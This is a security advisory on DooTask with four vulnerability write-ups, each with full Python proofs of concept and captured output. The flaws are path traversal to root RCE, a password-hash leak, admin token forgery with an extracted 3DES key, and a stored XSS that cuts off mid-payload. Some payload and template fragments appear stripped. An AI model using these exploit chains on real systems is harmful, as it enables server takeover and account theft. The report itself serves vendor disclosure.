# DooTask Vulnerability Report Software: DooTask Developer or vendor: kuaifan Code repository: https://github.com/kuaifan/dootask ## 1. Path Traversal in content\_\_office Leads to RCE Brief description: An ordinary user can use the `key` parameter of `api/file/content/office` to traverse paths and write to a Blade template, then execute commands on the server. Affected versions: 0.4.0 to 1.10.38 Introduced in: [dootask commit 69e14fed](https://github.com/kuaifan/dootask/commit/69e14fed9c04fb852223390a2129c76045de32dc) Preconditions: The attacker holds an ordinary user account. ### Root Cause `content__office` checks that the file belongs to the current user, while `key` and `url` come from the request. `key` is concatenated into `public_path()`. `public_path()` does not normalize `..`, and `Ihttp::download()` writes to that path in append mode. The relevant code is: ```php # app/Http/Controllers/Api/FileController.php:846-882 commit 8cfcc9048e $key = Request::input('key'); $url = Request::input('url'); // $file = File::permissionFind($id, $user, 1); // if ($status === 2) { $parse = parse_url($url); $from = 'http://nginx' . $parse['path'] . '?' . $parse['query']; $path = 'uploads/file/' . $file->type . '/' . date("Ym") . '/' . $file->id . '/' . $key; $save = public_path($path); Base::makeDir(dirname($save)); $res = Ihttp::download($from, $save); ``` The write logic in Ihttp is as follows: ```php # app/Module/Ihttp.php:271-291 commit 8cfcc9048e $file = curl_exec($ch); curl_close($ch); // $res = fopen($fileFile, 'a'); fwrite($res, $file); fclose($res); ``` Set `key` to `../../../../../../resources/views/main.blade.php` and point `url` at a file that contains attacker-controlled PHP code. Changing the modification time of the Blade template causes it to be recompiled, and visiting the home page executes the command. ### Reproduction Environment Deploy as follows: ```bash git clone https://github.com/kuaifan/dootask.git cd dootask git checkout 8cfcc9048e sudo ./cmd install --port 80 ``` `8cfcc9048e` is the commit for `v1.10.38`. The example uses the default port 80. After installation, the terminal prints the administrator password. Register `attacker@example.com` with password `Attacker123!`. ### Reproduction Log in with the ordinary account, create a document, save the PHP code as the document content, and write it into the Blade template through `content__office`: ```python import json import httpx BASE = "http://127.0.0.1" r = httpx.post(BASE + "/api/users/login", data={ "email": "attacker@example.com", "password": "Attacker123!", }, headers={"platform": "web"}, timeout=30) token = r.json()["data"]["token"] print("token:", token) h = {"platform": "web", "token": token} r = httpx.post(BASE + "/api/file/add", headers=h, data={ "name": "rce-poc", "type": "document", "pid": "0", }, timeout=30) fid = r.json()["data"]["id"] print("file_id:", fid) payload = 'input("c")); ?>' r = httpx.post(BASE + "/api/file/content/save", headers=h, data={ "id": str(fid), "content": json.dumps({"content": payload, "type": "md"}), }, timeout=30) path = json.loads(r.json()["data"]["content"])["url"] print("payload_url:", BASE + "/" + path) r = httpx.post(BASE + "/api/file/content/office", headers=h, data={ "id": str(fid), "status": "2", "url": "http://nginx/" + path, "key": "../../../../../../resources/views/main.blade.php", }, timeout=30) print("write:", r.status_code, r.text) r = httpx.get(BASE + "/", params={"c": "id"}, timeout=30) print("rce:", r.status_code, r.text.strip().splitlines()[-1]) ``` The output is: ``` token: YIG8ANC8q2SstA88NO_ve-OMflIRJ0hpsv71EZeagNobaRxgErdAfWC7A_Em1nSnDj2_UupdygPiXcvDWKTAxcvv09I5d-RX_CZB3dE4tEgnAIdpycrjUD-Dd2v3x11uAiBDdgnQdH0 file_id: 17 payload_url: http://127.0.0.1/uploads/file/document/202611/17/7a750e455f2041a3ccc0168e099912ac write: 200 {"error":0} rce: 200 RCE-OK:uid=0(root) gid=0(root) groups=0(root) ``` ## 2. Report API Leaks Password Hash and Token Material Brief description: After an ordinary user submits a work report and selects recipients, the response returns the recipients' `password`, `encrypt`, and `last_at`. Affected versions: 0.11.96 to 1.10.38 Introduced in: [dootask commit 1263603c](https://github.com/kuaifan/dootask/commit/1263603c7b3b019009206e71a2d7bc2ffcd4c67a) Preconditions: The attacker holds an ordinary user account. ### Root Cause `ReportController::store` accepts the `receive` array, checks only that the user IDs exist, and then returns the report model. `Report` has `receives` in `$appends`; reading that attribute loads the `receivesUser` relation, and Laravel includes the full fields of the related users during serialization. `User` has only `updated_at` in `$hidden`, so the password hash and `encrypt` appear in the response. The relevant code is: ```php # app/Http/Controllers/Api/ReportController.php:178-295 commit 8cfcc9048e $input = [ ... "receive" => Request::input("receive"), ... ]; ... if (count($input["receive"]) !== User::whereIn("userid", $input["receive"])->count()) { return Base::retError("用户不存在"); } ... return Base::retSuccess("保存成功", $report); ``` The relation configuration in the `Report` model is as follows: ```php # app/Models/Report.php:79-124 commit 8cfcc9048e protected $appends = [ 'receives', ]; public function receivesUser(): BelongsToMany { return $this->belongsToMany(User::class, ReportReceive::class, "rid", "userid") ->withPivot("receive_at", "read"); } public function getReceivesAttribute() { if (!isset($this->appendattrs['receives'])) { $this->appendattrs['receives'] = empty($this->receivesUser) ? [] : array_column($this->receivesUser->toArray(), "userid"); } return $this->appendattrs['receives']; } ``` The hidden fields in the `User` model are as follows: ```php # app/Models/User.php:96-98 commit 8cfcc9048e protected $hidden = [ 'updated_at', ]; ``` The user IDs in `receive` are not restricted by department, project, or dialog; passing the administrator user ID makes the administrator appear in `receives_user`. ### Reproduction Environment Deploy as in Section 1. Reinstall, then register `attacker@example.com` with password `Attacker123!`. The administrator logs in once with the password printed by the installer so that `last_at` has a value. ### Reproduction Submit a weekly report as the ordinary user and set the administrator as the recipient: ```python import json import httpx BASE = "http://127.0.0.1" r = httpx.post(BASE + "/api/users/login", data={ "email": "attacker@example.com", "password": "Attacker123!", }, headers={"platform": "web"}, timeout=30) token = r.json()["data"]["token"] h = {"platform": "web", "token": token} r = httpx.post(BASE + "/api/report/store", headers=h, data={ "title": "Weekly report", "type": "weekly", "content": "
report body
", "receive[]": "1", }, timeout=30) print(json.dumps(r.json(), ensure_ascii=False, indent=2)) ``` The output is: ```json { "ret": 1, "msg": "保存成功", "data": { "sign": "6202647", "title": "Weekly report", "type": "weekly", "userid": 6, "updated_at": "2026-11-19 09:57:43", "created_at": "2026-11-19 09:57:43", "id": 1, "content": "report body
", "receives": [ 1 ], "receives_user": [ { "userid": 1, "identity": [ "admin" ], "department": [], "az": "A", "pinyin": "", "email": "admin@dootask.com", "tel": "", "nickname": "adm***@dootask.com", "profession": "管理员", "birthday": null, "address": null, "introduction": null, "userimg": "http://127.0.0.1/avatar/adm%2A%2A%2A%40dootask.com.png", "encrypt": "52c872", "password": "c3d2f0bbadcfd01a572f58d102d385e8", "changepass": 0, "login_num": 74, "last_ip": "192.168.128.1", "last_at": "2026-11-19 09:57:41", "line_ip": "192.168.128.1", "line_at": "2026-11-19 09:57:41", "task_dialog_id": 18, "created_ip": "", "disable_at": null, "email_verity": 1, "bot": 0, "lang": "", "created_at": "2026-11-18 20:58:52", "pivot": { "rid": 1, "userid": 1, "receive_at": "2026-11-19 09:57:43", "read": 0 } } ] } } ``` `password` in the response is the salted password hash, `encrypt` is the salt, and `last_at` is the target user's last login time. Section 3 uses the three values to reconstruct the token. ## 3. Deterministic 3DES Token Encryption Enables Account Takeover Brief description: Using the `encrypt` and `last_at` leaked by the report API, an attacker can reconstruct a target user's token and take over the administrator account. Affected versions: 0.25.39 to 1.10.38 Introduced in: [dootask commit 3a9001e0](https://github.com/kuaifan/dootask/commit/3a9001e09132baf796b795583f73dfb9fa858519) Preconditions: The attacker knows the target user's `encrypt` and `last_at`. ### Root Cause `User::generateToken` passes the user ID, email, encrypt value, and number of valid days to `Doo::tokenEncode`. `Doo::tokenEncode` calls `tokenEncode` in `doo.so`; the generated token is the 3DES-ECB ciphertext of a JSON plaintext, with no nonce and no MAC. The relevant code is: ```php # app/Models/User.php:822-840 commit 8cfcc9048e if ($refresh) { $days = $userinfo->bot ? 0 : max(1, intval(Base::settingFind('system', 'token_valid_days', 30))); $token = Doo::tokenEncode($userinfo->userid, $userinfo->email, $userinfo->encrypt, $days); } else { $token = Doo::userToken(); } UserDevice::record($token); ``` DooSo wraps the call as follows: ```php # app/Module/Interface/DooSo.php:222-237 commit 8cfcc9048e public function tokenEncode($userid, $email, $encrypt, int $days = 15): string { return self::string($this->so->tokenEncode($userid, $email, $encrypt, $days)); } public function tokenDecode($token): array { $array = Base::json2array(self::string($this->so->tokenDecode($token))); $array['expired_at'] = $array['expired_at'] === 'forever' ? null : $array['expired_at']; return $array; } ``` `doo.so` contains fixed key material. This report uses the official `kuaifan/php:swoole-8.4.27` image, where `doo.so` is at `/usr/lib/doo/doo.so`. Extract `doo.so` from the container: ```bash docker cp $(docker ps -qf "name=dootask-php"):/usr/lib/doo/doo.so ./doo.so ``` The key is derived from a string in the binary: ```python import hashlib data = open("doo.so", "rb").read() blob = data[0x732d8b:0x732d8b + 0x3d1] print(blob[100:125]) print(blob[150:160]) key = hashlib.md5(hashlib.md5(blob[100:125]).hexdigest().encode() + blob[150:160]).hexdigest()[:24] print(key) ``` The output is: ``` b"'>$]W&vw:7]{Pq;HP;O16.:l." b'BP)SkRT&a<' 3bd3db228a027f6d147b47cc ``` The token plaintext structure is `{"userid":1,"email":"admin@dootask.com","encrypt":"68f136","expired_at":"2026-12-19 01:58:28"}`. `expired_at` uses UTC and equals `last_at` converted to UTC plus `token_valid_days`, which defaults to 30 days. The default time zone is PRC; the script below converts with UTC+8. Adjust according to the system setting if the time zone was changed. `User::authInfo` first calls `UserDevice::check`, which checks only whether `md5(token)` exists in the device table; it then queries the user by user ID, email, and encrypt. The relevant code is: ```php # app/Models/User.php:771-793 commit 8cfcc9048e if (!UserDevice::check()) { return RequestContext::save('auth', false); } $user = self::whereUserid(Doo::userId())->whereEmail(Doo::userEmail())->whereEncrypt(Doo::userEncrypt())->first(); ``` The device check in `UserDevice` is as follows: ```php # app/Models/UserDevice.php:202-225 commit 8cfcc9048e $token = Doo::userToken(); $hash = md5($token); if (Cache::has(self::ck($hash))) { return $hash; } $row = self::whereHash($hash)->first(); if ($row) { if ($row->expired_at && Carbon::parse($row->expired_at)->isPast()) { self::forget($row); return null; } self::record(); return $hash; } ``` When the target user logs in, `User::generateToken` has already written the md5 of this deterministic token into the device table, so the reconstructed token matches that record. ### Reproduction Environment Deploy as in Section 1. Reinstall, then register `attacker@example.com` with password `Attacker123!`. The administrator logs in once with the password printed by the installer so that `last_at` has a value. ### Reproduction The script depends on `pycryptodome` and `httpx`. First obtain the administrator's `encrypt` and `last_at` through the report API, then compute the token: ```python import base64 import datetime import json import httpx from Crypto.Cipher import DES3 from Crypto.Util.Padding import pad BASE = "http://127.0.0.1" r = httpx.post(BASE + "/api/users/login", data={ "email": "attacker@example.com", "password": "Attacker123!", }, headers={"platform": "web"}, timeout=30) token = r.json()["data"]["token"] h = {"platform": "web", "token": token} r = httpx.post(BASE + "/api/report/store", headers=h, data={ "title": "Weekly report", "type": "weekly", "content": "report body
", "receive[]": "1", }, timeout=30) u = r.json()["data"]["receives_user"][0] print("leak:", json.dumps({k: u[k] for k in ("userid", "email", "encrypt", "last_at")}, ensure_ascii=False)) last = datetime.datetime.strptime(u["last_at"], "%Y-%m-%d %H:%M:%S") - datetime.timedelta(hours=8) exp = last + datetime.timedelta(days=30) obj = { "userid": u["userid"], "email": u["email"], "encrypt": u["encrypt"], "expired_at": exp.strftime("%Y-%m-%d %H:%M:%S"), } plaintext = json.dumps(obj, separators=(",", ":")).encode() key = b"3bd3db228a027f6d147b47cc" forged = base64.urlsafe_b64encode( DES3.new(key, DES3.MODE_ECB).encrypt(pad(plaintext, 8)) ).rstrip(b"=").decode() print("plaintext:", plaintext.decode()) print("token:", forged) r = httpx.get(BASE + "/api/users/info", headers={"platform": "web", "token": forged}, timeout=30) print(json.dumps(r.json(), ensure_ascii=False, indent=1)) r = httpx.get(BASE + "/api/users/lists", headers={"platform": "web", "token": forged}, params={"page": 1, "pagesize": 2}, timeout=30) print(r.text) ``` The output is: ``` leak: {"userid": 1, "email": "admin@dootask.com", "encrypt": "68f136", "last_at": "2026-11-19 09:58:28"} plaintext: {"userid":1,"email":"admin@dootask.com","encrypt":"68f136","expired_at":"2026-12-19 01:58:28"} token: YIG8ANC8q2QxFV_Gf8qwkPdBj2EpsqGqlfc3qvSdg7ksVkZcokOUtQn43XGK0NK3EN-hZlOkDRhyG4nfauPDZanB0kpNgtZ2xAtCGWGsDoamXzvV7BIQ7AG6DIlQ3rcu ``` The full response is as follows: ```json { "ret": 1, "msg": "success", "data": { "userid": 1, "identity": [ "admin" ], "department": [], "az": "A", "pinyin": "", "email": "admin@dootask.com", "tel": "", "nickname": "adm***@dootask.com", "profession": "管理员", "birthday": null, "address": null, "introduction": null, "userimg": "http://127.0.0.1/avatar/adm%2A%2A%2A%40dootask.com.png", "changepass": 0, "login_num": 74, "last_ip": "192.168.144.1", "last_at": "2026-11-19 09:58:28", "line_ip": "192.168.144.1", "line_at": "2026-11-19 09:58:28", "task_dialog_id": 18, "created_ip": "", "disable_at": null, "email_verity": 1, "bot": 0, "lang": "", "created_at": "2026-11-18 20:59:39", "token": "YIG8ANC8q2QxFV_Gf8qwkPdBj2EpsqGqlfc3qvSdg7ksVkZcokOUtQn43XGK0NK3EN-hZlOkDRhyG4nfauPDZanB0kpNgtZ2xAtCGWGsDoamXzvV7BIQ7AG6DIlQ3rcu", "nickname_original": "", "department_name": "", "department_owner": false, "managed_departments": [] } } ``` `/api/users/lists` is an administrator endpoint; calling it with the forged token returns the list of all users: ```json {"ret":1,"msg":"success","data":{"current_page":1,"data":[{"userid":6,"identity":[],"department":[],"az":"A","pinyin":"attexamplecom","email":"attacker@example.com","tel":"","nickname":"att***@example.com","profession":"","birthday":null,"address":null,"introduction":null,"userimg":"http:\/\/127.0.0.1\/avatar\/att%2A%2A%2A%40example.com.png","encrypt":"ZPRMLY","password":"b724edc7d5ac0e7946c2c799b8516995","changepass":0,"login_num":3,"last_ip":"192.168.144.1","last_at":"2026-11-19 09:58:30","line_ip":"192.168.144.1","line_at":"2026-11-19 09:58:30","task_dialog_id":0,"created_ip":"192.168.144.1","disable_at":null,"email_verity":0,"bot":0,"lang":"","created_at":"2026-11-19 01:58:28","nickname_original":""},{"userid":2,"identity":[],"department":[],"az":"T","pinyin":"","email":"test@dootask.com","tel":"","nickname":"tes***@dootask.com","profession":"\u6d4b\u8bd5\u5458","birthday":null,"address":null,"introduction":null,"userimg":"http:\/\/127.0.0.1\/avatar\/tes%2A%2A%2A%40dootask.com.png","encrypt":"18cZzh","password":"7eedd4cbf70da996d21f641bcc6cb412","changepass":0,"login_num":64,"last_ip":"192.168.144.1","last_at":"2026-11-19 09:58:29","line_ip":"192.168.144.1","line_at":"2026-11-19 09:58:29","task_dialog_id":16,"created_ip":"","disable_at":null,"email_verity":1,"bot":0,"lang":"","created_at":"2026-11-18 20:59:39","nickname_original":""}],"first_page_url":"http:\/\/127.0.0.1\/api\/users\/lists?page=1","from":1,"last_page":2,"last_page_url":"http:\/\/127.0.0.1\/api\/users\/lists?page=2","links":[{"url":null,"label":"« Previous","page":null,"active":false},{"url":"http:\/\/127.0.0.1\/api\/users\/lists?page=1","label":"1","page":1,"active":true},{"url":"http:\/\/127.0.0.1\/api\/users\/lists?page=2","label":"2","page":2,"active":false},{"url":"http:\/\/127.0.0.1\/api\/users\/lists?page=2","label":"Next »","page":2,"active":false}],"next_page_url":"http:\/\/127.0.0.1\/api\/users\/lists?page=2","path":"http:\/\/127.0.0.1\/api\/users\/lists","per_page":2,"prev_page_url":null,"to":2,"total":3}} ``` ## 4. Cross-Dialog Message Injection Leads to Stored XSS Brief description: An ordinary user can send an HTML message to another dialog through `msg/sendfileid`; when the target user opens the dialog, the XSS executes and takes over the victim's account. Affected versions: 0.44.53 to 1.10.38 Introduced in: [dootask commit 0ffbaaae](https://github.com/kuaifan/dootask/commit/0ffbaaaeaaa77693a51d1c21c07b3bb68804fefe) Preconditions: The attacker holds an ordinary user account, and the target user opens the injected dialog. ### Root Cause `msg__sendfileid` concatenates `leave_message` into HTML without sanitization, then calls `sendMsgBatch`. While iterating over `dialogids`, `sendMsgBatch` does not call `WebSocketDialog::checkDialog`, so any dialog ID can be targeted. The relevant code is: ```php # app/Http/Controllers/Api/DialogController.php:1548-1569 commit 8cfcc9048e $leave_message = Request::input('leave_message'); ... $fileMsg = ""; if ($leave_message) { $fileMsg .= "{$leave_message}
"; } // return WebSocketDialogMsg::sendMsgBatch($user, $userids, $dialogids, $fileMsg); ``` `sendMsgBatch` is implemented as follows: ```php # app/Models/WebSocketDialogMsg.php:1576-1614 commit 8cfcc9048e if ($dialogids) { if (!is_array($dialogids)) { $dialogids = [$dialogids]; } foreach ($dialogids as $dialogid) { $res = WebSocketDialogMsg::sendMsg(null, $dialogid, 'text', ['text' => $msgText], $user->userid); if (Base::isSuccess($res)) { $msgs[] = $res['data']; $already[] = $dialogid; } } } ``` For the `text` type, `sendMsg` checks only link and image markers and does not call `formatMsg` for sanitization. The front end renders message text with `v-html` in `text.vue`. The relevant code is: ```html ``` ### Reproduction Environment Deploy as in Section 1. Reinstall, then register `attacker@example.com` with password `Attacker123!`. The administrator logs in with the password printed by the installer. The seed data contains a dialog between the administrator and the tester with dialog ID 1, and the attacker is not a member of that dialog. ### Reproduction The attacker creates a file and sends an HTML message to dialog 1: ```python import httpx BASE = "http://127.0.0.1" r = httpx.post(BASE + "/api/users/login", data={ "email": "attacker@example.com", "password": "Attacker123!", }, headers={"platform": "web"}, timeout=30) token = r.json()["data"]["token"] h = {"platform": "web", "token": token} r = httpx.post(BASE + "/api/file/add", headers=h, data={ "name": "quarterly-report.pdf", "type": "document", "pid": "0", }, timeout=30) fid = r.json()["data"]["id"] payload = '